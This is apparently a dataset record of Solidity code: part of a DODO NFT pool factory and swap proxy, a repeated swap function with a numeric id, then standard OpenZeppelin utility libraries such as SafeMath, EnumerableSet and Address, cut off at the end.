numParams[1],
_CONTROLLER_,
_MAINTAINER_,
filters
);
emit CreateLiteNFTPool(newFilterAdmin, filterAdminOwner);
}
function createNewNFTPoolV1(
address filterAdminOwner,
address nftCollection,
uint256 filterKey, //1 => FilterERC721V1, 2 => FilterERC1155V1
string[] memory infos, // 0 => filterName, 1 => fragName, 2 => fragSymbol
uint256[] memory numParams,//0 - initSupply, 1 - fee
bool[] memory toggles,
uint256[] memory filterNumParams, //0 - startId, 1 - endId, 2 - maxAmount, 3 - minAmount
uint256[] memory priceRules,
uint256[] memory spreadIds
) external returns(address newFilterAdmin) {
newFilterAdmin = ICloneFactory(_CLONE_FACTORY_).clone(_FILTER_ADMIN_TEMPLATE_);
address filterV1 = createFilterV1(
filterKey,
newFilterAdmin,
nftCollection,
toggles,
infos[0],
filterNumParams,
priceRules,
spreadIds
);
address[] memory filters = new address[](1);
filters[0] = filterV1;
IFilterAdmin(newFilterAdmin).init(
filterAdminOwner,
numParams[0],
infos[1],
infos[2],
numParams[1],
_CONTROLLER_,
_MAINTAINER_,
filters
);
emit CreateNFTPool(newFilterAdmin, filterAdminOwner, filterV1);
}
// ================== Create Filter ===================
function createFilterV1(
uint256 key,
address filterAdmin,
address nftCollection,
bool[] memory toggles,
string memory filterName,
uint256[] memory numParams, //0 - startId, 1 - endId, 2 - maxAmount, 3 - minAmount
uint256[] memory priceRules,
uint256[] memory spreadIds
) public returns(address newFilterV1) {
newFilterV1 = ICloneFactory(_CLONE_FACTORY_).clone(_FILTER_TEMPLATES_[key]);
emit CreateFilterV1(filterAdmin, newFilterV1, nftCollection, key);
IFilter(newFilterV1).init(
filterAdmin,
nftCollection,
toggles,
filterName,
numParams,
priceRules,
spreadIds
);
}
// ================== NFT ERC20 Swap ======================
function erc721ToErc20(
address filterAdmin,
address filter,
address nftContract,
uint256 tokenId,
address toToken,
address dodoProxy,
bytes memory dodoSwapData
)
external
preventReentrant
{
IDODONFTApprove(_DODO_NFT_APPROVE_).claimERC721(nftContract, msg.sender, filter, tokenId);
uint256[] memory tokenIds = new uint256[](1);
tokenIds[0] = tokenId;
uint256 receivedFragAmount = IFilter(filter).ERC721In(tokenIds, address(this));
_generalApproveMax(filterAdmin, _DODO_APPROVE_, receivedFragAmount);
require(isWhiteListed[dodoProxy], "Not Whitelist Proxy Contract");
(bool success, ) = dodoProxy.call(dodoSwapData);
require(success, "API_SWAP_FAILED");
uint256 returnAmount = _generalBalanceOf(toToken, address(this));
_generalTransfer(toToken, msg.sender, returnAmount);
emit Erc721toErc20(nftContract, tokenId, toToken, returnAmount);
}
//====================== Ownable ========================
function changeMaintainer(address newMaintainer) external onlyOwner {
_MAINTAINER_ = newMaintainer;
emit ChangeMaintainer(newMaintainer);
}
function changeFilterAdminTemplate(address newFilterAdminTemplate) external onlyOwner {
_FILTER_ADMIN_TEMPLATE_ = newFilterAdminTemplate;
emit ChangeFilterAdminTemplate(newFilterAdminTemplate);
}
function changeController(address newController) external onlyOwner {
_CONTROLLER_ = newController;
emit ChangeContoller(newController);
}
function setFilterTemplate(uint256 idx, address newFilterTemplate) external onlyOwner {
_FILTER_TEMPLATES_[idx] = newFilterTemplate;
emit SetFilterTemplate(idx, newFilterTemplate);
}
function changeWhiteList(address contractAddr, bool isAllowed) external onlyOwner {
isWhiteListed[contractAddr] = isAllowed;
emit ChangeWhiteList(contractAddr, isAllowed);
}
//======================= Internal =====================
function _generalApproveMax(
address token,
address to,
uint256 amount
) internal {
uint256 allowance = IERC20(token).allowance(address(this), to);
if (allowance < amount) {
if (allowance > 0) {
IERC20(token).safeApprove(to, 0);
}
IERC20(token).safeApprove(to, uint256(-1));
}
}
function _generalBalanceOf(
address token,
address who
) internal view returns (uint256) {
if (token == _ETH_ADDRESS_) {
return who.balance;
} else {
return IERC20(token).balanceOf(who);
}
}
function _generalTransfer(
address token,
address payable to,
uint256 amount
) internal {
if (amount > 0) {
if (token == _ETH_ADDRESS_) {
to.transfer(amount);
} else {
IERC20(token).safeTransfer(to, amount);
}
}
}
}
|
================== NFT ERC20 Swap ======================
|
function erc721ToErc20(
address filterAdmin,
address filter,
address nftContract,
uint256 tokenId,
address toToken,
address dodoProxy,
bytes memory dodoSwapData
)
external
preventReentrant
{
IDODONFTApprove(_DODO_NFT_APPROVE_).claimERC721(nftContract, msg.sender, filter, tokenId);
uint256[] memory tokenIds = new uint256[](1);
tokenIds[0] = tokenId;
uint256 receivedFragAmount = IFilter(filter).ERC721In(tokenIds, address(this));
_generalApproveMax(filterAdmin, _DODO_APPROVE_, receivedFragAmount);
require(isWhiteListed[dodoProxy], "Not Whitelist Proxy Contract");
(bool success, ) = dodoProxy.call(dodoSwapData);
require(success, "API_SWAP_FAILED");
uint256 returnAmount = _generalBalanceOf(toToken, address(this));
_generalTransfer(toToken, msg.sender, returnAmount);
emit Erc721toErc20(nftContract, tokenId, toToken, returnAmount);
}
| 11,838,994
|
// File: github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Counters.sol
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
}
// File: github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/EnumerableMap.sol
pragma solidity ^0.8.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
using EnumerableSet for EnumerableSet.Bytes32Set;
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct Map {
// Storage of keys
EnumerableSet.Bytes32Set _keys;
mapping (bytes32 => bytes32) _values;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
map._values[key] = value;
return map._keys.add(key);
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
delete map._values[key];
return map._keys.remove(key);
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._keys.contains(key);
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._keys.length();
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
bytes32 key = map._keys.at(index);
return (key, map._values[key]);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
bytes32 value = map._values[key];
if (value == bytes32(0)) {
return (_contains(map, key), bytes32(0));
} else {
return (true, value);
}
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
bytes32 value = map._values[key];
require(value != 0 || _contains(map, key), "EnumerableMap: nonexistent key");
return value;
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
bytes32 value = map._values[key];
require(value != 0 || _contains(map, key), errorMessage);
return value;
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// File: github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/EnumerableSet.sol
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
